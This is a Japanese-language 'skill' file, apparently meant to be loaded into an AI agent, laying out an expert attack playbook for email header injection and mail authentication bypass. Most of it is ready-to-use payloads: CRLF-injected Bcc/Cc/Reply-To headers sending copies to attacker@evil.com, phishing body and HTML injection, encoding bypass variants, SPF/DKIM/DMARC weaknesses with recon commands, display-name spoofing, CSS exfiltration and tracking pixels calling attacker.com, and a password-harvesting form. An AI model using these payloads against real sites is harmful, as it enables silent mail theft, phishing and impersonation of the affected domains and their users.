SKILL: メールヘッダーインジェクション — エキスパート攻撃攻略本

AI LOAD INSTRUCTION: メールヘッダーインジェクションおよび認証バイパスのエキスパートレベル解説。SMTP CRLF インジェクション、SPF/DKIM/DMARC 回避、表示名なりすまし、メールクライアントレンダリング悪用をカバーしています。基本的なモデルではヘッダーインジェクション（技術的）とメール認証バイパス（プロトコルレベル）の微妙な違いを見落としがちです — このスキルは両方の攻撃面をカバーしています。

0. 関連ルーティング

• crlf-injection — 一般的な CRLF インジェクション。メールヘッダーは特に高価値なシンク
• ssrf-server-side-request-forgery — SMTP サーバーが SSRF 経由でアクセス可能な場合（gopher://smtp）
• open-redirect — パスワードリセットメール内のリダイレクトをフィッシング増幅として利用

---

1. SMTP ヘッダーインジェクションの基礎

SMTP ヘッダーは CRLF（\r\n）で区切られています。ユーザー入力がサニタイズなしでメールヘッダーに配置された場合、%0d%0a（または \r\n）を挿入することで任意のヘッダーが追加できます。

インジェクション構造

通常のヘッダー構築:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

インジェクト後 (Subject フィールド経由):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
結果:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

試すべきエンコーディングバリエーション

エンコーディング	ペイロード
URL エンコード	%0d%0a
ダブル URL エンコード	%250d%250a
Unicode	\u000d\u000a
生の CRLF	\r\n（生リクエスト内）
LF のみ	%0a（一部の SMTP サーバーが CR なしで LF を受け入れる）
null バイト + CRLF	%00%0d%0a

---

2. 攻撃シナリオ

2.1 BCC インジェクション — サイレントメール流出

入力フィールド: email / name / subject
ペイロード: victim@target.com%0d%0aBcc:attacker@evil.com

効果: このフォーム経由で送信される全メールのコピーが攻撃者に届く

2.2 CC インジェクションとヘッダースタッキング

「From name」フィールドのペイロード:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

結果ヘッダー:
  From: John
  Cc: attacker@evil.com
  Bcc: spy@evil.com
  ... (元のヘッダーが続く)

2.3 本文インジェクション — 完全なメール内容制御

SMTP では空行（\r\n\r\n）がヘッダーと本文を区切ります：

Subject のペイロード:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

結果:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(空行がヘッダーを終了、その後はすべて本文)

2.4 返信先操作によるフィッシング

From name のペイロード:
  IT Support%0d%0aReply-To:attacker@evil.com

被害者には「IT Support」が送信者として表示される
返信は attacker@evil.com に送られる

2.5 HTML フィッシング用 Content-Type インジェクション

ペイロード:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Content-Type を上書き → メールクライアントで HTML を렌더링

---

3. 一般的な脆弱パターン

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";

// すべてのパラメーターがインジェクト可能:
mail($to, $subject, $message, $headers);

// $to インジェクション:    victim@x.com%0d%0aCc:attacker@evil.com
// $subject インジェクション: Hello%0d%0aBcc:attacker@evil.com
// $headers インジェクション: From: x%0d%0aBcc:attacker@evil.com

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject がサニタイズされていない場合はインジェクト可能

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // インジェクト可能
    to: 'admin@target.com',
    subject: req.body.subject, // インジェクト可能
    text: req.body.message
};
transporter.sendMail(mailOptions);

---

4. SPF / DKIM / DMARC バイパステクニック

4.1 SPF (Sender Policy Framework) バイパス

SPF は MAIL FROM エンベロープ送信者の IP を DNS TXT レコードに対して検証します。

テクニック	方法
サブドメイン委譲	ターゲットが include:_spf.google.com を持つ。攻撃者が Google Workspace を使用して anything@mail.target.com として送信
Include チェーン悪用	v=spf1 include:third-party.com — サードパーティが広範な送信を許可している場合
DNS ルックアップ制限（10）	SPF は最大 10 回の DNS ルックアップを許可。この制限を超えると permerror → 一部の受信者は受け入れ
+all 設定ミス	v=spf1 +all は任意の IP を許可（稀だが存在）
?all または ~all	Softfail/中立 → ほとんどの受信者はインボックスに配信
SPF レコードなし	SPF のないドメイン → 誰でもそのドメインになりすまし可能

# SPF レコード確認:
dig TXT target.com +short
# 確認内容: v=spf1 ...

# DNS ルックアップ数カウント (各 include/a/mx/redirect = 1 ルックアップ):
# >10 ルックアップ = permerror = バイパス成功

4.2 DKIM (DomainKeys Identified Mail) バイパス

DKIM は特定のヘッダーにドメインキーで署名します。バイパスベクトル：

テクニック	方法
d= vs From: 不一致	DKIM は d=subdomain.target.com で署名しているが From: ceo@target.com — 有効な DKIM、なりすまし From
l= タグ悪用	l= は署名された本文の長さを制限。攻撃者は署名部分の後にコンテンツを追加
リプレイ攻撃	有効な DKIM 署名済みメールをキャプチャしてから、署名されていないヘッダーを変更して再送信
h=from 欠落	from ヘッダーが署名ヘッダーリスト（h=）に含まれていない場合、From を変更可能
キー回転ウィンドウ	DKIM キー回転中、古いセレクターがまだ有効を通す可能性

# DKIM セレクター確認:
dig TXT selector._domainkey.target.com +short
# 一般的なセレクター: google, default, s1, s2, k1, dkim

4.3 DMARC (Domain-based Message Authentication) バイパス

DMARC は SPF または DKIM が From: ヘッダードメインと整合することを要求します。

テクニック	方法
緩和整合（aspf=r）	SPF は sub.target.com に合格、DMARC は緩和モードで target.com を受け入れ
組織ドメイン	mail.target.com は緩和モードで target.com と整合
DMARC レコードなし	DMARC のないドメイン → ポリシー強制なし
p=none	DMARC 存在するもポリシーが none → 強制なし、レポートのみ
サブドメインポリシー（sp=none）	メインドメイン p=reject だがサブドメイン sp=none → サブドメインはなりすまし可能

# DMARC 確認:
dig TXT _dmarc.target.com +short
# 確認内容: v=DMARC1; p=none/quarantine/reject

4.4 表示名なりすまし（どこでも機能）

完璧な SPF/DKIM/DMARC でも、表示名は認証されません：

From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>

ほとんどのメールクライアントはインボックスビューでは表示名のみを表示します。モバイルクライアントは特に脆弱です。

---

5. メールクライアントレンダリング攻撃

CSS ベースのデータ流出

<!-- HTML メール本文内 -->
<style>
  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

リモート画像トラッキング

<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- 見えないピクセル — メール開封を確認、IP とクライアント情報を流出させる -->

フォーム送信先ハイジャック

<!-- 一部のメールクライアントはフォームをレンダリング -->
<form action="https://attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

---

6. コンタクトフォーム / メール API インジェクション

# REST API
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}

# URL エンコードフォーム
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

# GraphQL
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }

---

7. テスト方法論

1. メール機能を探す: コンタクトフォーム、パスワードリセット、招待/共有、ニュースレター
2. CRLF をテスト: 各フィールドに test%0d%0aX-Injected:true を挿入 → 受信ヘッダーをチェック
3. エスカレーション: BCC インジェクション → 本文インジェクション → Content-Type 上書き
4. 並行: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

---

8. ディシジョンツリー

メール送信機能を発見?
│
├── ユーザー入力がメールヘッダーに入る?
│   ├── YES → CRLF インジェクションをテスト
│   │   ├── Subject/From/To フィールドに %0d%0a
│   │   │   ├── 追加ヘッダーが出現 → 確認
│   │   │   │   ├── Bcc: を挿入 → サイレント流出
│   │   │   │   ├── 本文を挿入（空行） → コンテンツ制御
│   │   │   │   └── Reply-To: を挿入 → 返信をリダイレクト
│   │   │   │
│   │   │   └── フィルタリングされた? → エンコーディングバリエーションを試す
│   │   │       ├── %250d%250a（ダブルエンコード）
│   │   │       ├── %0a のみ（CR なし LF）
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── すべてのエンコーディングがブロック → SPF/DKIM/DMARC をチェック
│   │
│   └── NO（ユーザー入力は本文のみ） → インパクト限定
│       └── メール本文で HTML インジェクションをチェック
│           └── HTML がレンダリングされる場合 → フィッシング / CSS 流出
│
├── ターゲットドメインからのメールになりすましたい?
│   ├── SPF をチェック: dig TXT target.com
│   │   ├── SPF なし / +all / ~all → 直接なりすまし可能
│   │   └── -all → SPF がブロック。DKIM/DMARC をチェック
│   │
│   ├── DMARC をチェック: dig TXT _dmarc.target.com
│   │   ├── DMARC なし / p=none → なりすまし配信
│   │   ├── p=quarantine → スパムに着信するが配信される
│   │   └── p=reject → ブロック。サブドメインを試す（sp= ポリシー）
│   │
│   └── すべてが厳密 → 表示名なりすまし のみ
│       └── "admin@target.com" <attacker@evil.com>
│
└── パスワードリセットメールをテスト?
    ├── URL のトークンをチェック → オープンリダイレクトチェーン?
    │   └── ../open-redirect/SKILL.md を参照
    └── ホストヘッダーインジェクションをチェック → パスワードリセット中毒
        └── ../http-host-header-attacks/SKILL.md を参照

---

9. クイックリファレンス — キーペイロード

# Subject 経由の BCC インジェクション
Subject: Hello%0d%0aBcc:attacker@evil.com

# From name 経由の本文インジェクション
From: Test%0d%0a%0d%0aClick here: https://evil.com

# Reply-To ハイジャック
From: Support%0d%0aReply-To:attacker@evil.com

# 完全なヘッダースタックインジェクション
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

# 表示名なりすまし（インジェクション不要）
From: "security@target.com" <attacker@evil.com>